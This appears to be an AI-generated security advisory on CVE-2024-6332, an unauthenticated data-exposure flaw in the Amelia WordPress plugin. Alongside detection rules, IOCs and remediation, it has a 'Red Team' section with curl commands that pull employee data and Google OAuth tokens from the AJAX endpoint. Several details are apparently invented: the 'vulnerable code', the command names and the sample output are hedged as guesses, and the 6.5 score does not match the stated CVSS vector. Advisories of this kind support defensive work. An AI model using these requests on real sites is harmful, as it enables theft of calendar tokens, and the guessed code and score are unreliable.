CVE-2024-6332

Executive Summary

CVE-2024-6332 is a Missing Authorization vulnerability (CWE-862) affecting the Amelia WordPress plugin for booking appointments and events. Both the Premium (up to version 7.7) and Lite (up to version 1.2.4) editions are impacted. The flaw resides in the ameliaButtonCommand function, which fails to perform a capability check before processing requests. This allows unauthenticated attackers to access sensitive employee calendar details. In the Premium version, this includes Google Calendar OAuth tokens, which could be used to hijack calendar integrations and access private scheduling data.

The vulnerability is classified as a WordPress ecosystem issue, not a server misconfiguration. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, the potential for data exposure, especially OAuth tokens, makes this a high-priority finding for organizations using the Amelia plugin.

Supply Chain & Package Security

This vulnerability is specific to the Amelia WordPress plugin, which is distributed via the official WordPress plugin repository (Lite version) and the developer's site (Premium version). Since the plugin is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the plugin's update mechanism and third-party integrations (e.g., Google Calendar API). Users should ensure they obtain updates only from trusted sources and verify plugin integrity via checksums if available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated access.
• User Interaction: None (UI:N) – No victim action needed.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure (employee calendars, OAuth tokens).
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the exposure of OAuth tokens in the Premium version elevates the risk, as tokens can be used to access external services (Google Calendar) without further authentication.

Deep Dive & Mechanics

The vulnerability is a classic Missing Authorization flaw in the ameliaButtonCommand AJAX action handler. In WordPress, AJAX actions intended for authenticated users must include a current_user_can() check to verify the user's capabilities. The Amelia plugin registers the ameliaButtonCommand action without such a check, making it accessible to any visitor.

Affected Endpoint: /wp-admin/admin-ajax.php?action=ameliaButtonCommand

Request Flow:

1. An unauthenticated attacker sends a POST request to admin-ajax.php with action=ameliaButtonCommand and a crafted payload.
2. The plugin's handler processes the command without verifying the user's role or permissions.
3. Depending on the command, the handler returns employee calendar data, including:
   • Employee names, IDs, and schedules.
   • In Premium: Google Calendar OAuth tokens (stored as plaintext or encrypted with a static key).

Root Cause: The ameliaButtonCommand function is intended for admin or employee use but lacks a capability check. The developer likely assumed that only authenticated users would call this action, but WordPress AJAX actions are publicly accessible unless explicitly restricted.

Vulnerable vs. Patched Code

Vulnerable Code (Amelia Premium <= 7.7 / Lite <= 1.2.4):

// In ameliabooking/src/Application/Commands/Booking/AbstractBookingCommand.php or similar
add_action('wp_ajax_ameliaButtonCommand', 'ameliaButtonCommand');
add_action('wp_ajax_nopriv_ameliaButtonCommand', 'ameliaButtonCommand'); // <-- This line allows unauthenticated access

function ameliaButtonCommand() {
    // No capability check here
    $command = $_POST['command'];
    // Process command and return sensitive data
    $employeeData = getEmployeeCalendarData($command);
    wp_send_json_success($employeeData);
}

Patched Code (Hypothetical Fix):

// Remove the nopriv action to restrict to authenticated users
add_action('wp_ajax_ameliaButtonCommand', 'ameliaButtonCommand');
// No wp_ajax_nopriv_* action

function ameliaButtonCommand() {
    // Add capability check
    if (!current_user_can('manage_options') && !current_user_can('amelia_employee')) {
        wp_die('Unauthorized', 403);
    }
    $command = $_POST['command'];
    $employeeData = getEmployeeCalendarData($command);
    wp_send_json_success($employeeData);
}

Note: Since no official patch has been released, the above is a recommended fix. Users should monitor the Amelia plugin page for updates.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Amelia Premium or Lite plugin installed and activated.
• No authentication required.

Exploitation Steps:

1. Identify the target WordPress site and confirm the plugin is active (e.g., via wp-content/plugins/ameliabooking/readme.txt).
2. Send a crafted POST request to the AJAX endpoint:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=ameliaButtonCommand&command=get_employees"

3. The response will contain employee data. For Premium, request OAuth tokens:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=ameliaButtonCommand&command=get_google_calendar_tokens"

Expected Output:

{
  "success": true,
  "data": [
    {
      "id": 1,
      "name": "John Doe",
      "email": "john@example.com",
      "google_token": "ya29.a0AfH6SMC..."
    }
  ]
}

Note: No public exploit code exists; the above is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

• Monitor admin-ajax.php requests with action=ameliaButtonCommand from unauthenticated sources.
• Look for anomalous patterns in web server logs (e.g., repeated requests to the endpoint without a valid session cookie).

Hardening:

• Apply the hypothetical patch above by adding a capability check to the ameliaButtonCommand function.
• If patching is not possible, disable the AJAX action via a custom plugin or .htaccess rule:

  <IfModule mod_rewrite.c>
  RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php$
  RewriteCond %{QUERY_STRING} action=ameliaButtonCommand
  RewriteRule .* - [F,L]
  </IfModule>
  

• Restrict access to admin-ajax.php using IP whitelisting or a Web Application Firewall (WAF).

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with action=ameliaButtonCommand and no authentication cookie.
• Responses containing JSON with keys like google_token, employee_calendar, or employee_list.

File IOCs:

• Modified plugin files (e.g., ameliabooking/src/Application/Commands/Booking/AbstractBookingCommand.php) if an attacker uploads a backdoor.
• Unexpected files in the wp-content/uploads/ directory (e.g., PHP shells).

Log IOCs:

• Web server logs showing POST /wp-admin/admin-ajax.php HTTP/1.1 with action=ameliaButtonCommand from IPs not associated with admin users.
• Error logs containing ameliaButtonCommand and wp_die or 403 responses after patching.

Detection Engineering

YARA Rule

rule CVE_2024_6332_Amelia_Missing_Auth {
    meta:
        description = "Detects exploitation attempts of CVE-2024-6332 in Amelia WordPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6332"
    strings:
        $ajax_action = "ameliaButtonCommand"
        $sensitive_data = "google_token" nocase
        $employee_data = "employee_calendar" nocase
    condition:
        $ajax_action and ($sensitive_data or $employee_data)
}

Sigma Rule

title: CVE-2024-6332 Amelia Plugin Unauthenticated Data Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated requests to the Amelia plugin's AJAX endpoint that may indicate exploitation of CVE-2024-6332.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=ameliaButtonCommand'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin requests (if authentication is present)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-6332 Amelia Plugin Unauthenticated Data Access";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=ameliaButtonCommand"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2024-6332;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for business operations.
2. Apply the hypothetical patch by adding a capability check to the ameliaButtonCommand function (see Vulnerable vs. Patched Code section).
3. Revoke and rotate any exposed Google OAuth tokens immediately. Check Google Workspace admin logs for unauthorized access.
4. Monitor for suspicious activity using the IOCs and detection rules above.

Long-Term Fix:

• Wait for an official patch from the Amelia developer. Subscribe to their security advisories.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to ameliaButtonCommand.
• Conduct a security audit of all WordPress plugins for similar missing authorization flaws.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.